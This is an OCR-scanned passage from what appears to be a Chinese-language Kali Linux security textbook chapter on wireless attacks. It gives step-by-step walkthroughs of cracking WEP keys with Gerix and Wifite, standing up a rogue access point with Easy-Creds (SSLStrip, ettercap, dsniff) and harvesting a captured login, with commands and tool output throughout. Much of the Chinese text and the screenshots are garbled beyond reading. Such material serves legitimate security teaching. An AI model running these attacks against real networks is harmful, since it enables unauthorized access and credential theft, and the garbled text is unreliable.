IR, AR ¥ 9.17 Brasi ftif.

Gerke wifl cracker o [x]|

Welcome | Configurstion | WEP WPA Fake AP | Cracking | Database Credits

Directory for session files logs, .cap, ..)

|frtl|§l|‘.{.li¢fil-wifl-ﬂl'ﬁk!r.f | Clean old session Tiles

Select the interface:
Interfece MALC Chipset Diriver Made
1 wilanl OCeel:40:7.. Ralink RT28... re2800ush ... Managed
' Reload wireless mterfaces | | Set random MAC address | | Enable/Disable Manitor Made
Selact the target network:
Essid Bissid Channel Signal Enc
Channel: all channals & | Seconds: |1¢l |:J l Rascan networks

14:02:37 - database reloaded: .I'n:||:|l.|'.g-r'n:-wiﬁ-crack-r.fk-rd.:uh:n.d: [Su:c n::]

Gerix IT.25s —\

‘I.

[# 9.17 Eﬂi&iﬁﬁﬁ
(6) MizFtimnl LR NG — 4 oekin. ﬁﬂ:l EEEE‘%E?T AMRLE . fEiZS g
Fe4:10 wlanl, #.d; Enable/Disable Monitor Mode ﬁﬂ . Mjﬁlﬂl@l 9.18 sl St .
Gerix wifi cracker !gg

Welcame Configuration  WEP WPA Fake AP Cracking Database Credits

Directory for session files (logs, .cap, .. )

Iroot! geri-wifi-crackes! J [ Clean old session files
Select the interface:

Interfece MALC Chipset Direves Made
1) wianl (00:c1:40:7.., Ralink RT28... r12800ush .. Managed

Mm:u:w:r... Ralink RT28... rt2800ush ... Monitar

L Reload wireless interfaces J [ Set random MAC address ] [Enuarl:umu Maniter Mode

Selact the target network:
Essid Bssid Channel Signal Enc
Chanmel: 3l channels 3 Seconds: [!I.I:i H | Rescan netwarks

14:11:45 - database relcaded: froot/ gerix-wifi-cracker/key-database.db [Success)
14:11:56 - Monitor on: wlanl [Success)

Gerix Ir.zms.

B 9.18 Ki5h wlanl Jy 0,
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(7)) MaZ ST LG 3 wlanl 55 i3 0 A W 0F 45 58 o st 43 ) BBk £ mon0, 7F Select
the target network F #.il7 Rescan networks #4941, S A i tn e 9.19 B,

Gerix wifi cracker EEE
Welcame | Carfiguration WEP WPA | Fake AP | Cracking  Database Credits

Directary for sesmon files (logs, cap, ..k

|fruntn'.lg=rix-wll"|-crl|:kﬂn' | c1ean old session Fles

Selact the Interface:

Interfece MALC Chipset Dwiver Made
1 wianl Ocl 47, Ralmk RT2S,.. rt2800ush ., Manaqu

z EIIJ.CI 40T, Ralmk RTZ8... rt2800uwsh ... Monitor

Reload wireless mterfsces Set random MAC address Enable/Disable Monitor Made

Select the target network:
| Essid Bssid Channel Sagnal Enc :
12 yrt=ty 8C210A4.. & =18 WPAZWPA..
13 L4:EGE4:A.. 1 -313 'WEFP WEP
Channel: all channels 2 | Saconds: |1l:l |:J | Rescan netwerks

12:52:55 - database reloaded: /root/ gerix-wifi-cracker/key-database db [Success)
12:53:13 - Monitor on: wlanl [Success]

12:5%:31 - rescan networks [Success)

Gerix Ir.2um.

Pel 9.19 14 2 ) 4 £

(8) MiZ S 1] LA B4 5 BB HI BT A7 R M . AL FRAGE WEP IR

e, IXHIEFE Essid iy Test BAGLRM &%, SRR Rbr DI 2] WEP GET0F, 14 9.20
B

——
Gerix wifi cracker - | B[ X

Welcome Configuration | WEF WPA Fake AP Cracking Database | Credts

Welcome in WEFP Attacks Control Panel

General functionalities

WEP Arttacks (no-client)
WEP Attacks {with clients)
WEP Arttack (with clients, in Access Point and Ad-Hoc mode)

Caffe-Latte attack in access point mode
[ Start Caffe-Latte attack

Hirte attack in access point mode

| Start Hirte attack

Hirte attack in ad-hoc mode
[ Start Hirtw attack

14:11:45 - database reloaded froot! gerix-wili-cracker/key-database. db [Success]
14:11:56 - Manitor on: wianl [Success)

Gerix r.a:m.

920 WEPAEE
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(9) Z S0 BC Y WEP #H56{5 L. iy General functionalities 4, $ s[4
9.21 Frops i) g1 .

Gerix wifi cracker
Welcome | Configuration ‘WEF | WPA Fake AP  Cracking Database Credits

Welcome in WEP Attacks Control Panel

Gengral funstionalifes

Functionalities

Start Sraffing and Logging

Parfarms a test of injection AP

WEP Attacks [no-clsant)
WEP Attacks [with clients)

WEP Attack [with clients, in Access Point and Ad-Hoc moada]

12:52:85 - database reloaded: froot) garix-wifi-cracker/key-database.db | 1
12:8%:13 - Manitor on: wianl [Su |
12:5%:31 - rescan natworks [ |

Gerix ir.a::z.
¥ 9.21 General functionalities il
C10 )iz St m ko 7 WEP [ 77k 78 1% 95 111 Functionalities |,

and Logging {41, & Soxnl¥ 9.22 Bt i .

(11 RS R T4 Test f4 AR L AP, MRIA1ERE 9.21 ity WEP Attacks
(no-client) @34, #f Wil 9.23 Fras i .

7 Start Sniffing

Gerin wifi cracker

Welcome Configuration | WEF | WPA  Fake AP | Cracking | Database OCredits

Welcome in WEP Attacks Control Panel

General functionalities
WEF Attacks [mo-client)
ChopChop attack
Start false sccess point Authentication on wictim
Start the ChoepChop attack
Create the ARP packet to be mjected on the wobm access point
Impect the created packet on wictim access paoint

Fragmentation attack

=

sniff-dump ——bssid 14.EGESACFB.Z0 mond; read;

Associate wrth AP using fake auth
WEFP Attacks [with clients)

WEP Attack [with clients, in Access Point and Ad-Hoo moda)

13:02:17 - database reloaded /reotf gerix-wili-cf acker Mkey-database. db [ 1
13:02:36 - rescan nebworks [ ]

13:0%:47 - Sniffing and Loggng startad with mond

13:03%:56 - WFP: |nipction test with moni

Gerix Ir.2ums.,

P 9.22 filifkLek AP 4 9.23  ChopChop attack

(12) 7Ei% 5L 515 Start false access point Authentication on victim 4241, % 74T f] %
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{56 )55l Start the ChopChop attack #4845 5014 9.24 Fros i) 5tf .
C13) izt M s i e FE . "”lhlj'a’}::f[J »’l_"’la AP I5, 4“' 7 it 71~ Use this packet?. It

bash -c "aireplay-ng -4 -h 08:10:77:0A:53:43 mon'

bash -¢ “aireplay-ng -4 -h 00:C1:40:76:05:6C mon

e 9.24  fif 3k e Al 12 F9.25 “4p.cap Wt

(14) MiZ S al LLE 251k E Juﬂﬂ' '11’ 17 %) replay_dec-0514-162307.cap CF+,
e Y e . e 9.25 by, TR AN E 9.26 T R .

bash =c "aireplay=ng =4 <h G0:C1:40:78:05:6C mon

¥ 9.26 ChopChop attack I

YL, BRI, g gk R SRS AR 9.23 ik Rl Create the ARP
packet to be injected on the victim access point I Inject the created packet on victim access
point 4%4H, 4T H- WP 9.27 B i) S

output_FORGED monQ; read; -

€9.27 Rz EERE

« IRE .
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(15) {Ei% 706 0] 75 Use this packet?. 7F Use this packet? JS4iA vy, 35 Aot 4MHL
o AR Bk B 2 7, fali Cracking BT, 45 wostn P 9.28 Biras i Y .

Gerix wifl cracker Hljl:i

Welcome Configuration |wEP - WPA | Fake AP | Cracking | Database | Cradits
Welcome in Cracking Control Panel
WEP cracking
WPA bruteforce cracking
WPA rainbow tables cracking
Rainbow Tables cracking

(Get rainbow tables from http./fwww.renderlab net/projects/ W PA-tables/ )
Add your rainbow tables file:

froot

Crack the password with coW PAtty and Rainbow Tables

14:11:45 - database reloaded: /rootf gerix-wifi-cracker/key-database.db [Success)
14:11:56 - Monitor on: wlanl [Success)

14:25:11 - rescan networks [Success)

Gerix Az

securly solutions

< 9.28 Hili Fm
(16) 7Fi%5L 057 WEP cracking, #% 5<tnlg 9.29 il ¥ .

Gerix wifi cracker Hljl:i

Walcome | Configuration | WEF | WPA 1 Fake AP | Cracking | Database | Cradits
Welcome in Cracking Control Panel
WEP cracking
Mormal cracking
When you have enowgth packets (>5000) you can bry to decrypt the passward.

Aircrack-ng - Decrypt WEFP password

WPA bruteforce cracking

WPA rainbow tables cracking

13:12:36 - Craclang WEP with aircrack launched (remember to save database's changes)

13:13:45 - Fragmentation attack: Inpect arp packet with manO
13:14:14 - Fragmentation attack: ARP packet created

13:14:34 - Crackang WEP with aircrack launched [remember to save database's changes)

Gerfx ’T BEEEE D

secuAty solullons

4 9.20  @Lfi¥ WEP 1%

(17) 7Fi% 5L ¥ Aircrack-ng-Decrypt WEP password 4, 45 5P 9.30 B iy
LT

C18) Mz S v] LU B WEP IS s S SERI0T1a) 0 3 45 28 B 94U 20
20105 1, 63 e, R abede.
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aircrack=log.txt; read; "

€ 9.30 @i s R
9.3.2 {#H Gerix fliZ2RAEANS

{EH] Gerix T H o] LAV FE T -PMEFEALT (AP) o B8 MV A, oLl
i B U7 R XA U ) e ARG, AAIIETE 20k 1 O (i X R % 1 i) Jo 2k
FEAN A, AT LA Ry (Y ik W AR S b A M . T i e LD WEP g 0
PR oA, B A S

fEH] Gerix T HAVEEHEAN G BARRED BRI TR,

(1) sl Gerix T H. #4785 F s

root@kali:/usr/share/gerix-wifi-cracker# python gerix.py

(2) V43| Configuration BN . /£ 1% S AL FE L2k 4% 11, 10 Enable/Disable Monitor
Mode f& 8. UEWrB=CTh#i 585, . Select Target Network T [1] Rescan Networks
el .

(3) EFIEN BN T Mg, EdE WEP NS R . S8 )5 fiids Fake AP ETIF, %
ot & 9.31 ot S .

Qerin wifl cracher
Wislooms | Corfparation WEP WP ."ak- AP Crackisg Databace | Credis
Welcoma In Fake Access Point Control Panal
Craats Fake &F

Arcwas pant [3S10
[Rere——
BEiat peail ohanial
1z
Cryptegraphy tags iy s Hia [En. aadhooddes) or Empty: ||
WEP & o WwWhe WA R [
WPANTFAL typas
& WERAG THIP W AR EEMP WEP14

Options
AgdHar made Higdmn 5510 [weahle broadrast probss Respond e sl |

17: 2440 - datsbase relpaded frooti ger-wif-crac e key-datsheme  dé [ |

Gerix .22

2 931 Fake AP 5L

. 20() -
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C4) MAZSE T LG BB 4 A ESSID 24 honeypot. HL7ENS honeypot 12044
personalnetwork, [F]FFEHF Aok (FJC 262 111 channel 142 0.

r

Bl 5P 9.32 Firas.

-
Gerix wifi cracker

Welcome Configuration | WEP  WPA | Fake AP Cracking Database Credits

Woelcome in Fake Access Point Control Panel
Create Fake AP

per sanalnetwork

Access point channel

1
Cryptography tags Key in Hex (Ex. aabbcoddes) or Empty
WEP ® Nane WPA WPAZ
aabbrcddes
WPANAPAZ types =
" WEP4O TKIP WrAP CCMP WEFL(Q
Options

AdHac mode Hidden SSID Disable broadcast probas Qq;pnnd toall |

Start Fake AcCess Foint

- 3
IN:IGEEE - acking WEPF with aircrack [aunched (remember [0 save database™s changes)
13:25:52 - Cracking WEP with aircrack launched [remember to save databasa's changes)
1%3:4%9:50 - Cracking \

g WEP with aircrack
13:52:17 - Cracking WEP with aircrack launched (remamber t

Gerix Ir.=;z.

launched (remember to save database's changes)

o save database’s changes)

5 932 {5k Fake AP

(5) Li | 1’....“1’& T’T ';1' by SLARECE R EL L BE L. RS ki Start Fake Access Point 4%

bash =c "airbase-ng —e personalnetwork =c 1 -w aab

€ 9.33  HahfidEA s

(6) 4 H P ) 1Y) personalnetwork AP I, 1% FEIH 255 R R irfs B

17:32:34 Client 18:DC:56:F0:62:AF associated(WEP) to ESSID: "personalnetwork™

PL G B2 7s, MAC Hihik 18:DC:56:F0:62:AF ) AP I {Fi%:4 personalnetwork .

tqu-
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9.4 A% 5] Wifite BLAR 28 M 4

— S R G £ P 28 R A ] Adrerack-ng (T HLAE, FEER N T — N EE R SR sl fl e AR
FRPTE AR C e es . AT R el gL, mHATELEE Y. &
T A A 44T T H Wifite, 4 I 2 o 2% .

(1) Ji8h wifite. 04T 20 F BT

root@kali:~# wifite
.;;' o T WiFite v2 (r85)
won () ::”autnmatad wireless auditor
L] i P ;‘_‘1 ':i L] '-1
o [\ s designed for Linux
" / \ .
/ \

[+] scanning for wireless devices...
[+] enabling monitor mode on wlan0... done
[+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
[0:00:03] scanning wireless networks. O targets and 0 clients found

(2) kAR et F i R ifE B

NUM ESSID CH ENCR POWER WPS? CLIENT
1 yzty 11 WPAZ 59db wps client
2 Test 1 WEPFP 51db wps client
3 TP-LINK_D7118A 1 WPAZ2 35db wps
4 CMCC-AUTO 1 WPA2 34db no
5 CMCC-AUTO 1 WPA2 32db no client
6 CMCC-AUTO 11 WPAZ Z9db no
7 TP-LINK_1C20FA 6 WPAZ 28db wps
8 CMCC-AUTO 11 WPAZ Z28db no
9 CMCC-AUTO 6 WPA2 28db no

10 CMCC-LIU 6 WPA2 28db wps

11 TP-LINK_ZLICE 9 WPA2 27db wps

12 CMCC-AUTO 6 WPA2 27db no client

13 Tenda_462950 4 WPA 26db no

[+] select target numbers (1-13) separated by commas, or ‘all';

MEL GRS, nfRAEFEE T 13 M oekih.
(3) EFEHGEM Hbr. EHEERS P REEA L, E2ETH WEP A m# . By
LL, Wi bR B G, W BT

[+] select target numbers (1-13) separated by commas, or ‘all': 2
[+] 1 target selected.
[0:10:00] preparing attack "Test" (14:E6:E4:AC:FB:20)
[0:10:00] attempting fake authentication (5/5)... failed
[0:10:00] attacking "Test" via arp-replay attack
[0:09:06] started cracking (over 10000 ivs)
[0:09:00] captured 12492 ivs @ 418 iv/sec
[0:09:00] cracked Test (14:E6:E4:AC:FB:20)! key: "6162636465"
[+] 1 attack completed:
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[+] 1/1 WEP attacks succeeded
cracked Test (14:E6:E4:AC:FB:20), key: "6162636465"

[+] disabling monitor mode on mon0... done
[+] quitting

MEL ES A5 S, ol BLAE BB ple . 2er, Test Jo2k e A fillf) i i 22 6162636465
9.5 1%/ Easy-Creds T E- 30 4%, W %

Easy-Creds /& — 2P AW T H. T H T m— " eg M4, Haeszim
A LEIEAN GGV . Easy-Creds o LAEE M ECBwvr i) 22, HHAE 0 —A~h AN BGE
FREAT, deifrar b F P R AR P S B e nT BUA SSL & #ls h ik &M . 4
44344 H Easy-Creds T H o GER 4% .
Easy-Creds st BackTrack5 "1 1)—#&64r. 7E Kali v, BROAV &8s T H. pril, @&
%% Easy-Creds T H AT ffH.
[3£519-3) %4 Easy-Creds 11, FAREAF DT s,
(1) M https://github.com/bravOhax/easy-creds [% & # Easy-Creds #f4-48, HLH M4
“h easy-creds-master.zip.
(2) ffIE FERIEE . tATar S F Fross
root@localhost:~# unzip easy-creds-master.zip
Archive: easy-creds-master.zip
bf9f00c08b1e26d8ff4def27c7bcf59d3122ebee
creating: easy-creds-master/
inflating: easy-creds-master/README
inflating: easy-creds-master/definitions.sslstrip
inflating: easy-creds-master/easy-creds.sh
inflating: easy-creds-master/installer.sh
Mt {5 Erb, LI 2 Easy-Creds 340 4 i 1 5] easy-creds-master SCFFrh . M
LA I'Fi’ﬁ t, AT LU BI{E easy-creds-master SC{FH 47—~ installer.sh S0, iz 30 fFail 2]
Je iz Easy-Creds #0001 .
(3) %% Basy-Creds ¥ {00 . ¥F %% Easy-Creds ¥ B2 A, f7 St i 2 .
XSk i, nf LL 2% easy-creds-master 3P ) README S22 2 A1 e A il . R )5
% %¢ Easy-Creds 4. 047200 FHrs:

root@kali:~# cd easy-creds/
root@kali:~/easy-creds# ./installer.sh

lle [lla [lls [{ty [1I- Il Hr Ifle [lid [is ||
|

Version 3.7 - Garden of Your Mind
Installer
Please choose your OS to install easy-creds
Debian/Ubuntu and derivatives
Red Hat or Fedora
Microsoft Windows
Exit

= R ==
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Choice:

PLEGEE R T, 40 easy-creds [T RE 5.

(4) X H ik 23] Debian/Ubuntu, A ZmS 1, 355 m00 FEREE B
Choice: 1

lle [lla llIs [Ity [1I- Il HIr Ifle [lid [[s ||

Ijr_lll_l||_III_I||_|II_II|_||I_III_|||_II

Version 3.7 - Garden of Your Mind

Installer
Please provide the path you'd like to place the easy-creds folder. [fopt] :
HEFREME, RUPERELRE

[#] Installing pre-regs for Debian/Ubuntu...
[*] Running 'updatedb’
[-] cmake is not installed, will attempt to install...

[+] cmake was successfully installed from the repository.
[+] | found gce installed on your system
[+] | found g++ installed on your system
[+] | found subversion installed on your system
[+] | found wget installed on your system
[+] | found libssl-dev installed on your system
[+] | found libpcap0.8 installed on your system
[+] | found libpcap0.8-dev installed on your system
[+] | found libssl-dev installed on your system
[+] | found aircrack-ng installed on your system
[+] | found xterm installed on your system
[+] | found sslstrip installed on your system
[+] | found ettercap installed on your system
[+] | found hamster installed on your system
[-] ferret is not installed, will attempt to install...
[#*] Downloading and installing ferret from SVN

make[4]: Leaving directory “ftmp/ec-installfreeradius-server-2.1.11/doc/rfc'
make[3]: Leaving directory "/tmp/ec-install/freeradius-server-2.1.11/doc’
make[2]: Leaving directory “/tmp/ec-install/freeradius-server-2.1.11/doc’
make[1]: Leaving directory "/tmp/ec-install/freeradius-server-2.1.11'

[+] The patched freeradius server has been installed

[+] | found asleap installed on your system

[+] | found metasploit installed on your system

[*] Running 'updatedb' again because we installed some new stuff

...happy hunting!

PL AR BV 25 T 4% Easy-Creds (P E Ll fE . fEiZad firh, Gl easy-creds 14K
it TR e WA R, IR R h . Easy-Creds PO R5E S, 1
b5 happy hunting! 15 5.

[52519-4]1 {1 Easy-Creds T Haifg o8 M 2. HARSR A DRI F fro.

(1) Jii5h Basy-Creds T H. #4740 FFios:

root@localhost:~/easy-creds-master#./easy-creds.sh

lle llla [lis llly |lI- llic I e |lid ils ||
| | |

Version 3.8-dev - Garden of New Jersey
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At any time, ctrl+c  to cancel and return to the main menu
Prerequisites & Configurations

Poisoning Attacks

FakeAP Attacks

Data Review

Exit

g. Quit current poisoning session

Choice:

L4 0 BB s T Easy-Creds T L) B0 S 9.
(2) EHGEFEC AP By, SAS S 3. B Eontn FRrRrE B
Choice: 3

lle llla [lis llly |lI- lllc I flle [lid |iis ||
| | |

Version 3.8-dev - Garden of New Jersey
At any time, ctri+c  to cancel and return to the main menu
FakeAP Attack Static
FakeAP Attack EvilTwin
Karmetasploit Attack
FreeRadius Attack
DoS AP Options
. Previous Menu
Choice:

Pl s B2 s T AP Bl nl {0 i
(3) XHBEFAEHEEN AP X6k, A5 1. BE R FRFroRiER:
Choice: 1

lle [lla [lls [y [1I- Ilic Hr [fle {lid [[s ||

Llr_lll_l | | | o

Sl

R

Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c  to cancel and return to the main menu
Would you like to include a sidejacking attack? [y/N]: N
HESREaFENEIE
Metwork Interfaces:
eth0 00:0c:29:5f:34:4b IP:192.168.0.117
wlan0 00:¢1:40:76:05:6¢
Interface connected to the internet (ex. eth0): eth0 Mk EFENED
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
Wireless interface name (ex. wian0): wian0 MEE&EOSR
ESSID you would like your rogue AP to be called, example FreeWiFi: wlan
g H otk AP 81 ESSID

Channel you would like to broadcast on: 4 HEEFERAMEE
[*] Your interface has now been placed in Monitor Mode
mon0 Ralink RT2870/3070 rt2800usb - [phy0]
Enter your monitor enabled interface name, (ex: mon0): mon0
Hig B ETEREO S
Would you like to change your MAC address on the mon interface? [y/N]: N
#ETEUUEITED R MAC fbif
Enter your tunnel interface, example at0: at0 g B Rl iE O
Do you have a dhepd.conf file to use? [y/N]: N #2 % {EH dhcpd.conf 3L
Network range for your tunneled interface, example 10.0.0.0/24: 10.0.0.0/24
#HiE B e E O M EE

« 205 .
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The following DNS server IPs were found in your /etc/resolv.conf file:
<> 192.168.0.1

Enter the IP address for the DNS server, example 8.8.8.8: 192.168.0.1 #1% B DNS R 38

[+#] Creating a dhepd.conf to assign addresses to clients that connect to us.
[*] Launching Airbase with your settings.

[+] Configuring tunneled interface.

[*] Setting up iptables to handle traffic seen by the tunneled interface.
[*] Launching Tail.

[#*] DHCP server starting on tunneled interface.

[ ok ] Starting ISC DHCP server: dhcpd.
[*] Launching SSLStrip...

[*] Launching ettercap, poisoning specified hosts.
[#] Configuring IP forwarding...

[*] Launching URLSnarf...

[*] Launching Dsniff...

s el ERE . s HNE) L. LR, SETFLAEE, W

4 9.34 T,

Airbase-NG

[HCP: [34:00:59;EF :2F :F7] REOUEST 192.168.4,100
DHCP; [ 34:C0:59:EF:2F :F7) EE[I.E‘S-T 1:l o, D Lﬂ?
MPTIU"-"'-'I]HEH 10 Jhail il 5 19%2,168.0.1

HTTF : 131.263.61.%: B0 - LISE?: tc:.LEIl.ue.l:un P’H‘SS,: quert, INFO: http:/flogin, live.com'login,srfiu
-!l-uh{gmnl..'i!ertm-l?&tt WPEITE R SHORE D e e | yEhthps Y ‘mail ,]ive, con'm
r.-;&lcﬂﬁ?md%dﬁ

P 934 T D

(4) 47 P iEdE Wifi 8 5, Easy-Creds ¥ [ )5 % 7 5 43 i

A~ 1P Huhl, JF

HAEWS Uy (o] T o W SBLAE TLIBCM ] — A~ 22 bk i, 2z T HoRG PR 2L SSL HHMHlPR %4>

EHEIHTERR G247 BrLl, fews i LR 5 - b T o 5o A Bk ) H P 48 RUE e
5, fER ] AN htpwww live.com B H P AR . TLH P 40

+ 296 -

be U1 9.34 By

test@live.com,



9T JOER M BRI

Wy qwert.
(5) UEIAE Easy-Creds (1) 4 s p iR, oA s 4, W F Bros:

At any time, ctrl+c  to cancel and return to the main menu
Prerequisites & Configurations

Poisoning Attacks

FakeAP Attacks

Data Review

Exit

q. Quit current poisoning session

Choice: 4

(6) EFFEIRWE S, R FRAE R

Sl

lle lla llls [y IlI- [le 1lir [lle 1iid [fls |l
| | | | | |

Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c  to cancel and return to the main menu
1. Parse SSLStrip log for credentials
2. Parse dsniff file for credentials
3. Parse ettercap eci file for credentials
4. Parse freeradius attack file for credentials
5. Previous Menu
Choice: 3

LA 7R T AT HIRIE P i i
(7) X HLEFE 4 #T Ettercap eci SCPF, HIAGI 5 35 RRGon i B s ifE B
lle l1la [ls [y 11I- 1lle 1lr 1lle [lid [lis ||

|
A A 1 A A A

Version 3.8-dev - Garden of New Jersey

At any time, ctrl+c  to cancel and return to the main menu

Ettercap logs in current log folder:

lroot/easy-creds-master/easy-creds-2014-07-24-1722/ettercap2014-07-24-1724 eci

Enter the full path to your ettercap.eci log file:

M5 B, mrRLFE 3 Ettercap H G S fRAFE AL E

(8) BEHIA ettercap.eci H A& SCIFAY A AT . 1 I I A 0000 e 52 1) R g i 1L ey e
Ettercap E&iEalinl LT . 40 F fros:

Enter the full path to your ettercap.eci log file: /rootleasy-creds-master/
easy-creds-2014-07-24-1722/ettercap2014-07-24-1724 eci

S A LU ERARIG, Ao il 9.35 B i) i .

Ettercap Accounts - | O

ctterlog M-0.7.4.2 copyright 2000-2005 ALoR & NaGR

P 9.35 &
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(9) MiZFmol LG EE G 2, IR P im H P S B S gt i ek .
9.6 JERTEIR BRI LN %

FHR A A 4 AT LUE S (43847 ¢F BackTracks &% Kali . 7F Kali AT LASZIR ) k%
EWRS, EWEEE B nTelisdT. 8 1 Eoh e T ERREIE_ 423 Kali Linux #0F &4;,
T AT ER AR R R S I R i

(1) TEMEIR_EAER] ifconfig d4 & & LM 2 E a0 . $ATar & F s

root@kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0¢:29:7a:59:75
inet addr:192.168.0.112 Bcast:192.168.0.255 Mask:255.255.255.0
ineté addr: feB0::20c:29ff.fe7a:5975/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:240510 errors:0 dropped:0 overruns:0 frame:0
TX packets; 130632 errors.0 dropped.0 overruns:0 carrier.0
collisions:0 txqueuelen:1000
RX bytes:275993519 (263.2 MiB) TX bytes:26073827 (24.8 MIiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
ineté addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets: 1706270 errors:0 dropped:0 overruns:0 frame:0
TX packets: 1706270 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:250361463 (238.7 MiB) TX bytes:250361463 (238.7 MiB)
wlan0 Link encap:Ethernet HWaddr 22:34:f7:f6:¢1:d0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen: 1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

M rE B, B8 400 wlan0 (40, X LR Ok . il
AEFRLEE, PIra a2 Ha g Mes, Wb P

root@kali:~# ifconfig wlan0 up

(2) AR LEM FEE. ArarSa F s

root@kali:~# iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 - Address: 14:E6:E4:AC:FB:20
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=62/70 Signal level=-48 dBm
Encryption key:on
ESSID:"Test"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s: 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=0000000339%efb6a2
Extra: Last beacon: 48ms ago
IE: Unknown: 000454657374
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IE: Unknown: 010882848B960C121824
IE: Unknown: 030101
|IE: Unknown: 0706555320010D14
IE: Unknown: 2A0100
IE: IEEE 802.11ilWPA2 Version 1

Group Cipher : CCMP

Pairwise Ciphers (1) : CCMP

Authentication Suites (1) : PSK
IE: Unknown: 32043048606C
IE: Unknown: 2D1A2C0003FF000000000000000000000000000000
0000000000000000
IE: Unknown: 331A2C0003FF0000000000000000000000000000000
0000000000000
|IE: Unknown: 301601001 1000000000000000000000000000000000
00000
IE: Unknown: 3416010011000000000000000000000000000000000
00000
IE: WPA Version 1

Group Cipher : CCMP

Pairwise Ciphers (1) : CCMP

Authentication Suites (1) : PSK
|IE: Unknown: DD180050F2020101030003A4000027A4000042435E
0062322F00
IE: Unknown: DD0900037F01010000FFTF
|IE: Unknown: DD800050F204104A0001101044000102103B0001031
04700100000000000001000000014E6E4ACFB201021000754502D4C
494E4B10230009544C2D57523734304E10240003312E30104200033
12E301054000800060050F204000110110018576972656C65737320
4E20526F757465722057523734304E100800020086103C000101

Cell 09 - Address: DA:64:C7:2F:AD:FF

Channel: 11
Frequency:2.462 GHz (Channel 11)
Quality=36/70 Signal level=-74 dBm

PA g 7 s B R s T LM R (5 B . - MAC Hbhb, {518, n,

R

E

(3) Jsh e R MW EE . BT an & R R

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

-e
PID Name

2618 NetworkManager

2870 wpa_supplicant

27052 dhclient

Interface Chipset Driver

wian0 Ralink RT2870/3070 rt2800usb - [phy16]

(monitor mode enabled on mon0)
Mg s Bk, T LUE 228 1 wlan0 5 ah W, FHEWrE 124 mon0. BIL
00T LS 24 Dl 3R 0 26 B 5 455
e ERIR . ol BL{E ] Wireshark (1) 2 4THE* tepdump BY tshark Sfedili gk &ds . Wik

ASERRAE AT AT ERAE NS, ol EUEH] Wireshark £ Pl f72 5 i R SE L

(1) J3sh Wireshark T H. $047dmS 01 F i

« 200 .
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root@kali:~# wireshark &
(2) 7F Wireshark {733 0 51| e th £ 88 mon0 $: 10, FE 8007 Start 34, W1 9.36 s,

e | Fies |

Interface List ~. Open
a (=

Live list of the capture interfaces Opena previously captured file

{counts incoming packets)

Open Recent:

Start

Choose one of more interfaces to capture from, then Start e Sa rl'lPlE CEPtI.II'ES
— (= A richassortment of example captu
& wlan0

Ii_.l Yo
Ready to load or capture Mo Packets Profile: Default

£l 9.36  ZEFRH S

(3) Jazh Wireshark §fi $5J5, 4 Sonwild 9.37 Froas (i 0.

Ml sbcgpcapng [Wireshark 1107 (v1.10.7-0-g6b331al from master-1.10)] = =
Ele Edr Yew Go Capture Anakre 3Statetcs Telephony Took ntemak  Help
oo dE s EREX A++»aT2 ([EE acan da0® % B

Filter: wlandctype == 0 Bi'qmusm Clear &pply Save
Mo, Time Source = Destination Protocol L:ﬂg‘lh Info
[ B ] i dd s ast Atk 11 o ¥ Jy 5
II:I!' 4! 1?015100019 L'lnkr_u fb: h‘.l ltinq:lunu_m 22:92 HW 11 -1-0'!' Probe Response, SH-NL Fh=0, I'h.g:-..... R !I-‘.I.W SSID=Tast
108 43.174220000 Tp-LinkT_ac:fb:20 kingjonD_20:22:92 802.11 407 probe Response, SN=004, FN=0, Flags=........, BI=100, SS5ID=Test
109 43, 406340000 Tp-LinkT_ac:fb:20 xingjonD_20:22:92 802.11 407 probe Response, SNeQ0T, FN=0, Flags=........, BI=100, SSIOD=Test
116 49, 260065000 Tp-LinkT_ac:fb:20 xingjonb_20:22:92 802.11 407 probe Response, SMeD65, FN=0, Flags=........, BI=l00, SSIO=TesT
117 49, PRIR IR0 TR-1 TakT acFfh:20 winntann 20: 27282 807,11 A7 prahe FALAORSE, SH=ORR, FH=l, FlAMSs. .. ..0.. . AT=1{{l. SSTN=Tasr
4 - ¥
@ | Fle: "C\Users\lyw\Desktop\abo.pcapng” 47 kB 00:0... | Packetss 204 - Deplyed: 76 (37.3%) - Load tme: 0:00.022 Profie: Defak

P 9.37 gk ) o2k B 4

(4) FEIZF 0T LLE S 106 WAL % F i % 1% Probe Reques {1, isiEHzitdiss. 107
i Hh 3% A2 3% Probe Response {4, W W T2 7 i 147 =

MELEAE B, wl B B H Bl SSID FEAS B 2 — a4 . 7 Wireshark
1, AR MAC Mkt Eth A& S Jrik . X e LAER] airodump 3% I AT—A> o2k
N, PRHLRE B AT AR & MAC Hihk . 530k 20 R s

airodump-ng —¢ Jt&k AP BY{5ili —a bssid(AP A9 MAC Hiit) mon0

I Th IR P g ) MAC kb, P 55 8 H macchanger #7244 B C ok 4 -F 1)
MAC bSO 2 i) MAC Hhb, BR824 3] ) 2%

[3:519-5]1 {iiH] Fern WiFi Cracker T H¥(i, MR -1 WEP il WPA/WPA2
TR 25 . HARSRAE LSRR B .

(1) 35 Fern WiFi Cracker T H.. Fhirdm4 F o

root@kali:~# fern-wifi-cracker
PATEL Edr % la, H5 B il 9.38 o) fii .
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Fern WIF| Cracker

Selat ke diace & I E Refieen

Salact an imeerfeco oardd

